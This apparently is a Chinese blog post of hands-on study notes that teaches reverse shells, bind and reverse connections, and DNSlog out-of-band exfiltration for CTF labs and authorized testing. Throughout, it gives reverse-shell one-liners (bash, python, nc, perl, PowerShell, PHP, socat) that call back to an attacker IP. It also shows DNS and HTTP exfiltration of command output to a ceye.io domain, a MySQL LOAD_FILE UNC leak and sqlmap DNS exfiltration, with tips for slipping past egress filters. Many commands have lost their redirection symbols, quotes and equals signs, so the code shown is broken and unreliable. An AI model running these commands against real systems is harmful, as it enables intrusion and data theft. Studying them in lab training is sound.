
把Day5的笔记整理完我大概花了一个晚上加一个上午。白天在公司写代码没空晚上回家拿两台虚拟机练练完再回来补笔记。今天这篇主要是反弹shell、正反向连接和DNSlog带外查询。这三个技术如果拆开看每一个都不难但放在一起理解你会发现它们其实是同一个问题的三种解法——命令在目标机器上执行了输出怎么回到我们手里。这篇文章适合刚学完Web漏洞基础、准备往内网和有效权限方向走的同学也适合刷CTF靶场时经常卡在“有命令执行但没回显”这个环节的朋友。先说结论Day5这个节点选得特别关键。前面几天的内容基本都在教你怎么拿到入口点比如SQL注入、文件上传、命令执行但从拿到入口到真正稳定控制目标中间还差一口气。这一口气就是反弹shell和DNSlog这类通道技术。没有它们漏洞利用就只是“证明存在”谈不上后续的信息收集、权限提升和数据获取。我练完Day5之后再回头刷靶场明显感觉顺畅了很多很多之前只知道原理但玩不顺的漏洞终于能完整串起来了。1. 先搞清楚这三个技术到底解决什么问题1.1 拿下权限之后第一步是“要能回来”在讲具体命令之前我先说说为什么要把这三个东西放在同一天讲。做授权测试或者刷CTF靶场的时候最理想的情况是拿到一个WebShell页面直接打印命令执行结果这是“正向回显”。但实际测试中有很多场景没有那么便利有的漏洞只能执行命令但页面不打印输出有的目标在内网我们直连不到它的Web端口有的目标防火墙只允许出站连接外部主动访问一律拒绝。这个时候Shell不在你手里权限就等于白拿。反弹shell解决的就是“权限能回到你手里”这个问题。简单类比正向连接有点像你给别人家打电话需要对方号码、对方接听、通讯正常反弹shell则反过来是对方主动拨号给你你在电话机旁边等着就行。这个“谁拨号”的区别决定了它在各类复杂网络环境下比正向连接更可靠。而DNSlog带外查询解决的是更抠门的情况命令能执行但TCP回连也不被允许或者回显被彻底过滤只能借助DNS这种几乎不会被打掉的通道把数据一点一点带出来。这三样技术合在一起基本覆盖了“命令执行后拿不到结果”的所有典型场景。1.2 为什么反弹shell是授权测试和CTF里的高频操作在各家CTF靶场里反弹shell基本是必考点。原因很现实出题人为了模拟真实内网场景通常会把容器放在内网或者只开放有限的端口。我们的攻击机可能公网可达但靶机没有公网地址主动连不进去而靶机能往外访问互联网所以反向连接成为最可行的方向。真实授权测试里同理企业防火墙一般对内网到外网的HTTP/HTTPS/DNS是放行的而外网到内网几乎全部拦截利用出站通道把shell弹出来成功率就高得多。另一个原因是反弹shell的“姿势”特别多。Linux下的bash、python、perl、ncWindows下的powershell、certutil、mshta都能构造反弹。遇到什么样的环境随手写一条对应的命令就行。这样看起来庞杂但核心原理都是一样的——在目标进程里把标准输入输出重定向到网络socket。把原理想明白之后你会发现记几十条命令其实不必要记住三四种主流姿势再根据现场改改IP和端口就够用了。1.3 什么时候用DNSlog带外查询DNSLog的场景判断其实比反弹shell更明确。我一般会在以下几种情况里想到它命令执行点没有回显页面只返回正常或出错出站TCP端口被防火墙拉得很死但DNS解析正常拿到的SQL注入可以执行文件读取函数但没有内容返回。这时候用DNS外带相当于在封死的环境里开了一条烟囱。虽然传输慢、有字符限制但能证明漏洞可利用还能把关键数据带出来。后面我会演示具体怎么搭。不过也要说清楚DNS外带不是万能的。它的定位是“兜底方案”不是“首选方案”。如果目标机器能直接反弹shell肯定优先反弹shell如果命令执行有回显直接读回显就好。DNS外带最大的价值在于当所有常规通道都被堵死的时候它还能用。哪怕只带出几行关键数据也足够推进下一步测试。2. 核心原理解读2.1 反弹shell的原理三个文件描述符反弹shell命令虽然多但逃不开一个核心把目标机器shell的标准输入、标准输出、标准错误都绑定到TCP socket上。Linux进程启动时默认有0标准输入、1标准输出、2标准错误三个描述符正常终端下它们都指向你的屏幕和键盘。反弹shell要做的事情就是把0、1、2这三个描述符全部重定向到网络socket这样你在攻击机这边敲的命令会通过网络送到目标shell目标shell的输出也会通过网络传回来。拿最经典的bash反弹三件套来说bash -i /dev/tcp/192.168.1.100/4444 01拆开看bash -i表示启动交互模式的shell是同时把标准输出和标准错误都重定向等价于21/dev/tcp/192.168.1.100/4444是bash提供的一个虚拟路径bash会把它转成真正的TCP连接最后的01表示把标准输入也指到同一个socket。这样一来这个bash进程的三个流全部走到了和攻击机之间的TCP连接上反弹shell就成立了。这里有个容易踩的坑dashUbuntu的/bin/sh默认就是dash和很多精简shell不支持/dev/tcp这种语法。如果系统默认/bin/sh指向dash你直接写bash命令也不一定管用因为bash可能没安装或者被替换。遇到这种情况优先用python、perl这些带socket的标准库构造或者提前准备一个静态编译的busybox传上去。2.2 正向连接和反向连接的适用场景正向连接的流程是先在目标机器上开启监听执行nc -lvnp 4444 -e /bin/bash然后攻击机再执行nc 目标IP 4444主动连上去。它适合目标机器存在公网地址、防火墙放行了入站端口的情况比如自己搭建的云主机、有公网地址的实验室机器。如果目标在NAT后面没有公网地址正向连接基本无法成功除非提前做了端口映射。反向连接也就是反弹shell的流程正好反过来攻击机先监听起来目标机器上执行反弹命令主动向攻击机发起连接。它适合目标机器没有公网地址、防火墙入站限制严格、但允许出站连接的情况。实战中大多数反弹命令我会选443端口因为HTTPS出站在绝大多数网络环境里都被默许盲目选一个冷门TCP端口反而容易触发网络层告警。正向和反向的选择核心取决于“谁能连谁”。2.3 DNSlog带外查询怎么用域名解析传数据先说DNS外带的基本链路。你需要一个能记录DNS查询日志的域名通常有两种做法一是用ceye.io、dnslog.cn这类在线平台注册后平台会分配一个带专属标识的子域名二是自己买域名把DNS服务器指针配置到自己的VPS上跑一个bind或者dnsmasq记录日志。第一种适合CTF和快速验证第二种适合测试时间比较长、数据传输量大的场景。操作原理用一句话说数据被拼到子域名前缀里目标机器发起DNS解析请求时数据跟着DNS报文一起送到你的DNS服务器。比如你执行ping \whoami.abc.ceye.iowhoami的结果会拼在域名最前面系统解析这个域名的时候DNS请求里就会带上这个前缀你在DNS日志里看到的就是类似root.abc.ceye.io这样的记录。为什么能这么用因为DNS协议在绝大多数环境下都是放行的防火墙很少去封DNS 53端口而且DNS查询日志天然存在不需要目标机器安装额外软件只要它能解析外部域名就行。缺点是子域名只能包含字母、数字、连字符等有限字符有些平台还支持下划线但特殊字符会被过滤单条DNS报文能带的数据量有限所以要配合编码和分段查询。3. 实操过程与核心环节实现3.1 实验环境准备先准备好环境我的方案是攻击机用Kali Linux靶机用Ubuntu Server和一台Windows 10虚拟机网络用NAT模式模拟内网出站场景。攻击机IP假设是192.168.1.100靶机Ubuntu是192.168.1.200Windows是192.168.1.201。注意这些IP都是示例实际以你虚拟机分配到的为准实验环境里完全可以用内网IP模拟。为什么要模拟内网因为授权测试里真正难搞的往往是内网环境所以我自己练的时候故意把靶机放在一个出站全通、入站关闭的子网里。这样正向连接会失败反向连接能成功才能真实体验到为什么反弹shell是首选。另外要准备的工具Kali自带nc、ncat、pythonWindows靶机不需要额外工具用powershell就能现场写反弹脚本。如果想让难度再高一点可以在虚拟机防火墙里加几条出站规则只放行53端口和443端口模拟严格出站策略。3.2 反弹shell的几种常用姿势第一种是nc反弹也是最简单直观的一种。靶机执行nc -e /bin/bash 192.168.1.100 4444攻击机执行nc -lvnp 4444这里有个大坑Kali自带的nc实际上是ncat支持-e参数但很多Linux发行版默认的netcat-traditional不支持-e会直接报invalid option。Debian/Ubuntu如果装的是traditional版要么用ncat替代要么用bash或者python方案。所以很多公开的POC里写nc反弹执行起来未必顺手我一般会把nc当作备份方案而不是唯一选择。第二种是bash反弹前面原理部分已经拆解过命令了bash -i /dev/tcp/192.168.1.100/4444 01这条命令的优势是系统自带、不需要额外装东西劣势是依赖/dev/tcp和bash交互模式。如果目标机器是CentOS最小化安装bash缺失或者交互模式受限就得换方案。第三种是python反弹通用性很强python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);解释一下先创建一个TCP socket并connect到攻击机os.dup2把socket文件描述符复制到标准输入、标准输出、标准错误的位置最后subprocess.call启动/bin/sh它的一切输入输出都会走socket。python2和python3的写法基本一致Windows下装了python也能用遇到python3环境直接执行也没问题。我整理了一张常用反弹命令速查表方便现场查阅平台反弹命令关键注意事项Linux bashbash -i /dev/tcp/IP/端口 01依赖bash和/dev/tcpdash不支持Linux pythonpython -c import socket...subprocess.call([/bin/sh,-i])python2/3通用兼容性最好Linux ncnc -e /bin/sh IP 端口需要支持-e参数的nc版本Linux perlperl -e use Socket;$iIP;$p端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));...环境有perl时可用Windows powershell$client New-Object System.Net.Sockets.TCPClient(IP,端口);$stream $client.GetStream();...需要powershell环境有时要配合编码绕过通用PHPphp -r $sockfsockopen(IP,端口);exec(/bin/sh -i 3 3 23);常用于LinuxPHP环境这些命令不用全背但至少要能写出bash和python两种。只要原理清楚其他语言都是同一套逻辑换壳。3.3 反向连接实操全流程我把反向连接的完整流程串一遍照着做就能跑通。第一步攻击机上启动监听。为了不让连接断开后误操作我习惯用tmux开一个独立窗口tmux new -s shell然后在里面执行nc -lvnp 4444注意-lvnp四个参数的含义-l是监听模式-v是显示详细信息-n不做DNS解析-p指定端口。有些版本的nc不支持合并写法那就分开写nc -l -v -n -p 4444。第二步确认监听就绪后在靶机上执行反弹命令。先执行whoami、id确认基本环境然后执行bash反弹命令bash -i /dev/tcp/192.168.1.100/4444 01第三步回到攻击机窗口你会看到connect to [192.168.1.100] from [192.168.1.200]之类的提示并在回车后出现目标机器的shell提示符。此时不要急着敲一堆命令先做下一步的交互式shell升级否则方向键、vim、top这些程序都用不了CtrlC还可能把整个连接搞断。整个流程的核心就一句话先监听、后反弹顺序不能反。如果先执行了靶机反弹命令攻击机还没监听连接会被拒绝命令会直接报错。还有模拟环境里监听端口先选一个没被占用的比如4444、5555避免端口冲突。3.4 把反弹shell升级成交互式终端反弹回来的是最原始的shell没有tty像vim、top、su这类需要交互终端支持的程序都运行不起来。升级的经典步骤是第一步目标机器上执行python -c import pty;pty.spawn(/bin/bash)这会在终端里布置一个伪终端。如果目标机器没有python可以尝试script /dev/null或者expect不过最常见还是python这条路。第二步按CtrlZ把当前会话挂起回到攻击机的本地终端。第三步在攻击机本地执行stty raw -echo fgstty raw -echo把终端设置为原始模式、关闭回显然后fg把挂起的会话调回前台。此时再按几次回车你就能看到一个正常的交互式shell。第四步执行export TERMxterm到这里你会获得一个带颜色提示符、支持方向键上下翻历史、支持vim/top等全屏程序的交互式shell体感和SSH登录几乎一样。另一个办法是用socat一步到位。攻击机执行socat file:tty,raw,echo0 tcp-listen:4444靶机执行socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:192.168.1.100:4444这个方案连stty都不用手动调直接就是全交互终端。缺点是需要目标机器存在socat或者你能上传一个静态编译的socat二进制没有python方案那么通用。3.5 DNSlog带外查询实操我不建议一上来就自己配置bind先玩明白在线平台。ceye.io注册之后会给你一个专属域名类似abc123.ceye.io在个人面板里能看到“DNS Query”和“HTTP Query”两类记录。基础测试先做一遍在靶机上执行ping whoami.abc123.ceye.io如果DNS记录面板里出现了root.abc123.ceye.io这样的解析记录说明外带通路已经打通靶机能正常发起DNS查询。这一步很重要先确认通路再传数据可以避免白忙活。如果目标机器只能发起HTTP请求可以换成curl http://abc123.ceye.io/whoami或者把数据放在URL路径里curl http://abc123.ceye.io/$(hostname)这样在HTTP Query面板里能看到请求记录。我和搭档配合比较多的是命令执行漏洞场景页面已经命令执行但无回显直接打ping whoami.abc123.ceye.io然后去DNS Query看记录。命令结果如果带空格、点、斜杠等特殊字符子域名解析可能会失败所以很多情况下先对结果做base64编码再拼进域名ping whoami|base64.abc123.ceye.io不过base64结果里可能包含和/这两个字符在子域名里不太友好还需要再处理成十六进制或者再次编码。实际测试最快的办法是先用简单命令确认通路再根据返回格式决定编码方案不要一上来就搞复杂的编码链。3.6 SQL注入场景里的DNS外带在SQL注入遇到无回显的时候DNS外带也很有用。MySQL有个函数LOAD_FILE可以读取文件同时支持UNC路径。在Windows下可以构造这样的SQLSELECT LOAD_FILE(CONCAT(\\\\,(SELECT user()),.abc123.ceye.io\\a));这样MySQL会去解析拼接出来的UNC主机名如果目标MySQL有读取文件权限、目录限制允许就能把user()结果带出来。整个过程你只需要在ceye.io面板里等着看解析记录就行。SQLMap也有内置的DNS外带功能比自己拼SQL省事sqlmap -u http://target/detail.php?id1 --dns-domainabc123.ceye.io设置好之后SQLMap会自动把盲注的请求转换成DNS外带速度比逐字符盲注快很多。但要注意SQLMap的DNS外带同样依赖目标网络能解析你的域名而且MySQL服务通常需要对FILE权限开放实操时先手动测试LOAD_FILE是否可用再决定要不要走SQLMap这条线。在MySQL 5.7及以上版本默认secure_file_priv为空这实际上表示禁止LOAD_FILE导文件如果要在测试环境复现需要把secure_file_priv设置为空字符串表示不限制路径否则外带会失败。这类环境配置问题最容易让人误判成技术问题排查时要先确认不是环境限制。4. 常见问题与排查技巧4.1 反弹shell不弹回来的排查思路反弹shell不生效是Day5实操里最常遇到的问题。我按经验把排查顺序整理成了一张检查表排查步骤检查命令/动作常见问题1. 攻击机监听是否就绪ss -lntp查看端口是否LISTEN忘了启动监听或者监听端口被占用2. 网络是否连通从靶机执行ping 攻击机IPNAT模式下两个虚拟机不在同一网段互相不通3. 端口是否被拦截测试环境临时关闭防火墙验证防火墙出站/入站规则拦截了自定义端口4. 命令是否适合目标环境逐一确认bash是否存在、nc是否带-e最小化系统缺少bashdash不支持/dev/tcp5. 监听工具是否存在兼容问题Kali换用ncat试一次nc版本不支持合并参数导致监听失败举个例子我在练习时遇到过一次靶机是Ubuntu最小化安装bash被阉割执行反弹直接报no such file or directory换成python立刻成功。这类问题比想象中常见尤其是各种精简版系统和容器镜像默认没有bash、没有python只有sh和busybox。遇到这种环境反而要用busybox里的nc、或直接用perl、wget等能落地的方案现场构造。排查时不要只看命令本身先搞清楚目标环境里有哪些可用组件再决定用什么姿势。4.2 DNSlog带外查询数据传不出来的细节DNS外带传不出数据问题往往比反弹shell更隐蔽常见坑有三个第一个是子域名长度限制。单条DNS查询的域名部分有限制数据太长会被截断导致平台日志里看不到完整记录。解决办法是把数据分成多次查询比如循环逐段发送每次只带一小段。这虽然慢但能保证数据完整。第二个是特殊字符过滤。空格、斜杠、冒号在子域名里可能解析失败或直接被目标系统过滤。遇到这种情况把数据做base64或者hex编码之后发送在平台端的日志里看到一串编码再解码还原。之前提过base64结果里的和/也要处理换成urlencode或者把替换成-把/替换成_到读取时再替换回来。第三个是DNS缓存和平台延迟。第一次查不到记录别慌多等几秒再刷新。平台日志也可能有延迟尤其是公网DNS转发链路经过多级缓存时解析记录可能要等一会。连续查不到再考虑是不是域名被封了或者目标网络屏蔽了外部DNS。还有一个我忽略过的问题有些靶机环境配置了本地DNS缓存或者内网DNS只允许解析内部域名外部域名无法解析。这时候命令执行没报错但平台日志里就是没有查询记录。排查方法是在靶机上手动执行nslookup abc123.ceye.io看能不能正常解析不能解析就换个DNS服务器测试比如nslookup abc123.ceye.io 8.8.8.8确认是不是内网DNS策略导致的外带失败。4.3 稳定的连接和下手优先级综合这几天的学习和多次练习我自己总结了几条选择优先级写在这里供参考能走python就走python兼容性最好python2和python3都能覆盖用443端口做反弹监听能避开九成出站限制实在不行再试53端口反连成功后先升级交互式shell再操作减少误操作和连接断开风险DNS外带只适合带少量关键数据比如用户名、主机名、数据库版本不适合传文件正向连接只在确认目标有公网地址且入站放行时才考虑否则浪费时间。这些优先级看着简单但能把它们落到具体命令和流程里才算真正掌握Day5的内容。我在完成这篇文章前重新搭了两遍环境第一遍全用nc第二遍混合bash和python亲测下来python的通用性确实最好bash在多数Linux环境也能直接跑而nc的反倒是受限最多的一个。5. 一些体会和小技巧Day5练到晚上两点最有感触的是这三个技术不是孤立的。反弹shell解决了“怎么回来”正反向连接告诉你怎么选方向DNSlog帮你兜底“实在没有路”的情况。如果你正在刷CTF靶场我的建议是自己搭两台虚拟机照着这篇文章把几种反弹姿势都敲一遍再故意封掉出站端口看看DNS外带能不能帮你把数据带出来。只有亲手试过才知道网上那些命令的报错长什么样、监听超时是什么感觉。最后再分享一个小技巧把常用反弹命令和DNSlog平台的域名记在一个速查笔记里测试时直接替换IP和域名就能用能省很多临时翻笔记的时间。另外遇到环境明明没问题但就是弹不回来的情况换个姿势常常比反复调同一个命令更有效。不同系统和容器环境对命令的兼容性差异很大与其跟一条命令死磕不如快速切到python或者perl方案重试一次。毕竟对于这类通道技术来说能拿到shell才是最终目标用什么姿势只是手段问题。